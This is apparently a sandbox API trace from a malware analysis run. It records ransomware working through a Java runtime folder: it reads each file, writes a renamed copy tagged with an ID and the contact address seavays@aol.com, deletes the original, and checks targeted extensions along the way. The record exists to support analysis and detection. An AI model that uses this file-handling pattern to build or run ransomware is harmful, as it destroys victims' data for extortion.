[0164.256] lstrlenW (lpString=".1cd") returned 4 [0164.256] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0164.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0164.256] lstrlenW (lpString=".jpg") returned 4 [0164.256] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0164.256] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0164.256] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0164.256] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0164.718] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=698236) returned 1 [0164.718] CloseHandle (hObject=0x4b8) returned 1 [0164.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0164.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0165.898] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0166.600] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.600] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0166.834] GetLastError () returned 0x0 [0166.834] ReadFile (in: hFile=0x4b8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0166.864] WriteFile (in: hFile=0x41c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0167.117] ReadFile (in: hFile=0x4b8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.117] WriteFile (in: hFile=0x41c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfe, lpOverlapped=0x0) returned 1 [0167.117] SetEndOfFile (hFile=0x41c) returned 1 [0167.117] CloseHandle (hObject=0x41c) returned 1 [0167.117] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.117] SetEndOfFile (hFile=0x4b8) returned 1 [0167.337] CloseHandle (hObject=0x4b8) returned 1 [0167.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0167.503] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.843] lstrlenW (lpString=".doc") returned 4 [0167.843] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.843] lstrlenW (lpString=".docx") returned 5 [0167.843] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0167.843] lstrlenW (lpString=".pdf") returned 4 [0167.843] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.843] lstrlenW (lpString=".xls") returned 4 [0167.843] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.843] lstrlenW (lpString=".xlsx") returned 5 [0167.843] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0167.843] lstrlenW (lpString=".ppt") returned 4 [0167.843] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.843] lstrlenW (lpString=".zip") returned 4 [0167.843] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.843] lstrlenW (lpString=".rar") returned 4 [0167.843] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.843] lstrlenW (lpString=".bz2") returned 4 [0167.843] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.843] lstrlenW (lpString=".7z") returned 3 [0167.843] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString=".dbf") returned 4 [0167.844] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString=".1cd") returned 4 [0167.844] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString=".jpg") returned 4 [0167.844] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString=".doc") returned 4 [0167.844] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString=".docx") returned 5 [0167.844] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0167.844] lstrlenW (lpString=".pdf") returned 4 [0167.844] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString=".xls") returned 4 [0167.844] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0167.844] lstrlenW (lpString=".xlsx") returned 5 [0167.844] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0167.844] lstrlenW (lpString=".ppt") returned 4 [0167.844] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0167.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.844] lstrlenW (lpString=".zip") returned 4 [0167.844] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0167.845] lstrlenW (lpString=".rar") returned 4 [0167.845] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0167.845] lstrlenW (lpString=".bz2") returned 4 [0167.845] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0167.845] lstrlenW (lpString=".7z") returned 3 [0167.845] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0167.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.845] lstrlenW (lpString=".dbf") returned 4 [0167.845] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0167.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.845] lstrlenW (lpString=".1cd") returned 4 [0167.845] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0167.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0167.845] lstrlenW (lpString=".jpg") returned 4 [0167.845] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0167.845] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0167.845] lstrlenW (lpString="javafx.properties") returned 17 [0167.845] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.120] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=56) returned 1 [0168.120] CloseHandle (hObject=0x520) returned 1 [0168.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0168.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.911] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.911] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.912] GetLastError () returned 0x0 [0168.912] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x38, lpOverlapped=0x0) returned 1 [0168.913] WriteFile (in: hFile=0x518, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x40, lpOverlapped=0x0) returned 1 [0168.915] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.915] WriteFile (in: hFile=0x518, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf6, lpOverlapped=0x0) returned 1 [0168.915] SetEndOfFile (hFile=0x518) returned 1 [0168.915] CloseHandle (hObject=0x518) returned 1 [0168.915] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.915] SetEndOfFile (hFile=0x528) returned 1 [0168.919] CloseHandle (hObject=0x528) returned 1 [0168.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0168.919] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.920] lstrlenW (lpString=".doc") returned 4 [0168.920] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0168.920] lstrlenW (lpString=".docx") returned 5 [0168.920] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0168.920] lstrlenW (lpString=".pdf") returned 4 [0168.920] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0168.920] lstrlenW (lpString=".xls") returned 4 [0168.920] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0168.920] lstrlenW (lpString=".xlsx") returned 5 [0168.920] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0168.920] lstrlenW (lpString=".ppt") returned 4 [0168.920] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0168.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.920] lstrlenW (lpString=".zip") returned 4 [0168.920] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0168.920] lstrlenW (lpString=".rar") returned 4 [0168.921] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString=".bz2") returned 4 [0168.921] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString=".7z") returned 3 [0168.921] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0168.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.921] lstrlenW (lpString=".dbf") returned 4 [0168.921] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.921] lstrlenW (lpString=".1cd") returned 4 [0168.921] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.921] lstrlenW (lpString=".jpg") returned 4 [0168.921] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.921] lstrlenW (lpString=".doc") returned 4 [0168.921] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString=".docx") returned 5 [0168.921] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0168.921] lstrlenW (lpString=".pdf") returned 4 [0168.921] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString=".xls") returned 4 [0168.921] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0168.921] lstrlenW (lpString=".xlsx") returned 5 [0168.921] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0168.921] lstrlenW (lpString=".ppt") returned 4 [0168.922] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.922] lstrlenW (lpString=".zip") returned 4 [0168.922] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString=".rar") returned 4 [0168.922] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString=".bz2") returned 4 [0168.922] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString=".7z") returned 3 [0168.922] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0168.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.922] lstrlenW (lpString=".dbf") returned 4 [0168.922] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.922] lstrlenW (lpString=".1cd") returned 4 [0168.922] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0168.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56 [0168.922] lstrlenW (lpString=".jpg") returned 4 [0168.922] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0168.922] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0168.922] lstrlenW (lpString="jce.jar") returned 7 [0168.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.923] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=116446) returned 1 [0168.923] CloseHandle (hObject=0x528) returned 1 [0168.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0168.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.924] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.924] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.924] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.924] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.925] GetLastError () returned 0x0 [0168.925] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0168.931] WriteFile (in: hFile=0x518, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0168.934] ReadFile (in: hFile=0x528, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.934] WriteFile (in: hFile=0x518, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xe2, lpOverlapped=0x0) returned 1 [0168.935] SetEndOfFile (hFile=0x518) returned 1 [0168.935] CloseHandle (hObject=0x518) returned 1 [0168.935] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.935] SetEndOfFile (hFile=0x528) returned 1 [0168.946] CloseHandle (hObject=0x528) returned 1 [0168.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.238] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0169.794] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.802] lstrlenW (lpString=".doc") returned 4 [0169.802] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.802] lstrlenW (lpString=".docx") returned 5 [0169.802] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0169.802] lstrlenW (lpString=".pdf") returned 4 [0169.802] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.802] lstrlenW (lpString=".xls") returned 4 [0169.802] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.802] lstrlenW (lpString=".xlsx") returned 5 [0169.802] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0169.802] lstrlenW (lpString=".ppt") returned 4 [0169.802] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.802] lstrlenW (lpString=".zip") returned 4 [0169.802] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.802] lstrlenW (lpString=".rar") returned 4 [0169.802] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.802] lstrlenW (lpString=".bz2") returned 4 [0169.802] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.802] lstrlenW (lpString=".7z") returned 3 [0169.802] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.802] lstrlenW (lpString=".dbf") returned 4 [0169.802] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.802] lstrlenW (lpString=".1cd") returned 4 [0169.803] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.803] lstrlenW (lpString=".jpg") returned 4 [0169.803] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.803] lstrlenW (lpString=".doc") returned 4 [0169.803] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.803] lstrlenW (lpString=".docx") returned 5 [0169.803] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0169.803] lstrlenW (lpString=".pdf") returned 4 [0169.803] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString=".xls") returned 4 [0169.803] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString=".xlsx") returned 5 [0169.803] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0169.803] lstrlenW (lpString=".ppt") returned 4 [0169.803] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.803] lstrlenW (lpString=".zip") returned 4 [0169.803] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString=".rar") returned 4 [0169.803] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.803] lstrlenW (lpString=".bz2") returned 4 [0169.803] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.804] lstrlenW (lpString=".7z") returned 3 [0169.804] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.804] lstrlenW (lpString=".dbf") returned 4 [0169.804] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.804] lstrlenW (lpString=".1cd") returned 4 [0169.804] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0169.804] lstrlenW (lpString=".jpg") returned 4 [0169.804] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.804] lstrcmpiW (lpString1=".template", lpString2=".save") returned 1 [0169.804] lstrlenW (lpString="jmxremote.password.template") returned 27 [0169.804] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.946] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=2856) returned 1 [0169.946] CloseHandle (hObject=0x518) returned 1 [0169.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0169.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program 